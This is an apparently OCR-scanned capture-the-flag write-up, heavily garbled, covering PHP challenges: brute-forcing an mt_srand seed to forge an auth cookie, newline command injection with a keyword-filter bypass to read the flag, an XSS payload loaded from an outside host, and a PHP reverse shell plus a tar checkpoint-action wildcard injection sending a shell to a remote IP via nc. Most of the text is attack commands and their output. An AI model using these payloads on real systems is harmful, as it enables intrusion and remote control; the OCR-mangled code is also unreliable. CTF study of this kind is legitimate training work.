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$ SESSION[ 'seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION[ 'seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" ;
$auth="";
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=(%$len/2))
$auth.=substr($str_rand,mt_rand(@, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand, (mt_rand(@, strlen($str_rand) - 1))*-1, 1);
¥
setcookie('Auth', $auth);
¥
//support
if (preg_match("/~\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//PAT
}else {
//flagF B A F s 2 RE T I8 |
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<?php
ini_set('max_execution time','0");
function youhuima(){
mt_srand($_SESSION[ 'seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIIKLMNOPQRSTUVWXYZ";//62
$auth="";
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=(%$len/2))
$auth.=substr($str_rand,mt_rand(@, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand, (mt_rand(@, strlen($str_rand) - 1))*(-1), 1);
¥
return $auth;
//setcookie('Auth', $auth);
¥
for($i=0;$1<999999999; $i++)
{

$ _SESSION[ 'seed'] = $i;
if(youhuima() == "tmgqoTcEJIQ51lrsF")
{

echo $i,"</br>";
echo youhuima();
exit();

)
//echo "tmgqoTcEJIQ51rsF";

?>
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# php 3.php

15252003</br=tmqoTcEJIQ51rsF

B EFEYLF 715252003,
HES$ SESSION['seed’ 15252003, 752 Ei%tmqgoTcEJsk5PJsFZfOgDZXbd
2415 2| Ksession

PHPSESSID=42i3mgn649nj6vsvtc05h20ej6
BT —A support
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if (preg_match("/A\d+\.\d+\.\d+\.\d+$/im",$ip)){
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POST: ip=1.1.1.1%0awhoami

@l Load URL | view-sourcehttp://123.207.84.13:22333/exec.php
& Split URL

+ Execute

Enable Post data [ | Enable Referrer

Post data ip=1.1.1.1%0awhoami
phone: +61-7-3858-3188
fax—no: +61-7-3858-3199
email: research@apnic. net
nic—hdl: AR302-AP
tech—c: AH256-AP
admin—c: AH256-AP
mnt—by: MAINT-APNIC-AP
last-modified: 2018-04-04T04:26:04Z
source: APNIC

% Information related to "1.1.1.0/24A813335

route: 1.1.1.0/24
' origin: AS13335
descr: APNIC Research and Development
6 Cordelia St
mnt—by: MAINT-AU-APNIC-GM85-AP
last-modified: 2018-03-16T16:58:06Z
! source: APNIC

% This query was served by the APNIC Whois Service version 1.88.15-46 (WHOIS-NODEZ2)

www—data

www—data<l/body>

if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){

it 38 T cat flagxigF
13 A B it

a=c;b=at;c=fl;d=ag;$a$b $c$d

ip=127.0.0.1%0acd ../../../;1ls -1l;a=c;b=at;c=fl;d=ag;$as$b $c$d



@ Lload URL | view-sourcehttp://123.207.84.13:22333/exec.php
& split URL

b Execute
Enable Post data [ ] Enable Referrer

Post data ip=127.0.0.1%0acd ../.././;ls -l,a=¢b=at;c=fl.d=ag;$a$b $cid
#
total 96
drwxr-xr-x 1 root root 4096 Dec 10 12:42 bin
drwxr—xr-x 2 root root 4096 Oct 20 10:40 boot
drwxr—xr—x 5 root root 360 Dec 10 12:09 dev
drwxr—xr—x 1 root root 4096 Dec 16 04:04 etc
—-rw—r—r— 1 root root 44 Dec 15 07:39 flag
drwxr—xr-x 2 root root 4096 Oct 20 10:40 home
drwxr—xr-x 1 root root 4096 Nov 12 00:00 1ib
drwxr—xr-x 1 root root 4096 Dec 10 12:21 1ib64
drwxr—xr-x 2 root root 4096 Nov 12 00:00 media
drwxr-xr-x 2 root root 4096 Nov 12 00:00 mnt
drwxr—xr-x 2 root root 4096 Nov 12 00:00 opt
dr—xr—xr—x 125 root root 0 Dec 10 12:09 proc
drwx———— 1 root root 4096 Dec 17 06:20 root
drwxr—xr-x 1 root root 4096 Dec 10 12:35 run
drwxr—xr—x 1 root root 4096 Dec 10 12:42 shin
drwxr—xr—x 2 root root 4096 Nov 12 00:00 srv
dr—xr—xr—x 13 root root 0 Oct 17 12:18 sys
drwxrwxrwt 1 root root 4096 Dec 18 15:24 tmp
drwxr—xr—x 1 root root 4096 Nov 12 00:00 usr

drwxr-xr-x 1 root root 4096 Dec 10 12:09 var
swpuctf {wkkkxik08067_seckwikxkSh@! ™ k)
swpuctf {Hekekek08067 seciickx$$%@! 5%} (/body>

&£ M1 a a

P P P P

7 P S R ¥

<html>

<head>

{meta charset="utf-8">

<! --check. php

if(3_POSTL email™ 1) 1

Femail = $_POST[ email’ ];
if(1filter_var($email, FILTER_VALIDATE_EMAIL)) {
echo “error email, please check your email”;
telse!

echo "HFE EREMEFE",

echo Femail
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, Klocal partBZEEXF| 5 H,
<sCRiPt/SrC=//xsspt.com/></sCRiPt>"@123.com" FJ&&E#Ml, xss

fE&Bh xss*F & #2H /admin/admin.php TAHVERS, aea.php KILarLHAT

» mycode : <br /><a href « HTTP_REFERER : htt
="admin/a0a.php?cmd= p://localhost:6324/admin/
whoami"><a href="admi admin.php
n/validate.php">"is. note « HTTP_USER_AGENT :
<script/src=//jera.exeye.i Mozilla/5.0 (Unknown; Li
o/w=></script> allowed"@ nux x86 64) AppleWebK
example.com</a> it/538.1 (KHTML, like Ge

cko) PhantomJS/2.1.1 S
afari/538.1
« REMOTE_ADDR :

A PAT ) #shell, php -r '$sock=Fsockopen("120.123.123.123",6789);exec("/bin/sh -i <&3 >&3 2>&3");"' flagEMR H &
T, shell PN www-data , TFRAEEEEZEL

$ 1s -1
total 100
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x

root root 4096 2017 bin

root root 4096 9 2018 boot

root root 4096 2015 data

root root 2760 17:00 dev

root root 4096 14:08 etc

flag flag 36 14:43 flag

root root 4096 15 2016 home

root root 31 9 2018 initrd.img -> /boot/initrd.img-3.16.0-6-amd64
root root 31 ] 2015 initrd.img.old -> /boot/initrd.img-3.16.0-4-amd64
root root 4096 9 2018 lib

root root 12288 ] 2017 1ib32

root root 4096 ] 2017 1ibs4

root root 4096 ] 2017 1ibx32 N )

root root 16384 18 2015 lost+found https://blog.csdn.net/q
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drwxr-xr-x
Trwxrwxrwx
Trwxrwxrwx
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
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https://www.leavesongs.com/PENETRATION/some-tricks-of-attacking-lnmp-web-application.html
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files B F & 30 A& B %

. root 320
4096

nginx 4096
oot 4096
4714

- rooct 4096
flag 707
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drwxr—x———

drw—r—r——

=] N L2 N o

—IW-r——r—— ®x.html

drwxr—-xr—x
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W o

—r——p————— upload.php

backup.php 4I5S .

¢ cat backup.php
<7php
include("upload.php");
B&: " . $upload dir . "<br />";
¢sys = "tar -czf z.tar.gz *";
chdir($upload dir);
system($sys);

if(file exists('z.tar.gz')){
echo BHR THE 2
echo "% Z: z.tar.gz";
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https://www.freebuf.com/articles/system/176255.html

echo "mkfifo /tmp/lhennp; nc 120.123.123.123 23333 @</tmp/lhennp | /bin/sh >/tmp/lhennp 2>&1; rm /tmp/lhennp" >
Str3am.sh

echo > --checkpoint-action=exec=sh Str3am

echo > --checkpoint=1

@34 upload.php L%, 4RI backup.php , @FIH# shell, flagFf /KR

root@l -ubuntu: /var/wuwf nc —-lvp 5678
Listening on [0.0.0.0] (family 0, port 5678)
Connection from ° i “m 7§ port 5678 [tcp/*] accepted (family 2, sport 54673)

whoami

flag

1=
——checkpoint—action=exec=sh shell.sh
——checkpoint=1
ghell.sh
z.tar.ge

cd /

1s

bin

boot

data

dew

etc

flag

home
initrd.img
initrd.img.old
1lib

1ib32

1lib&4

1libx32
lost+found
media

mnt

opt

vmlinuz
vmlinuz.cld

cat flag

:“P“th{“55—!—tar—gxec—instr35t1ng} https://blog.csdn.net/qq_39293438
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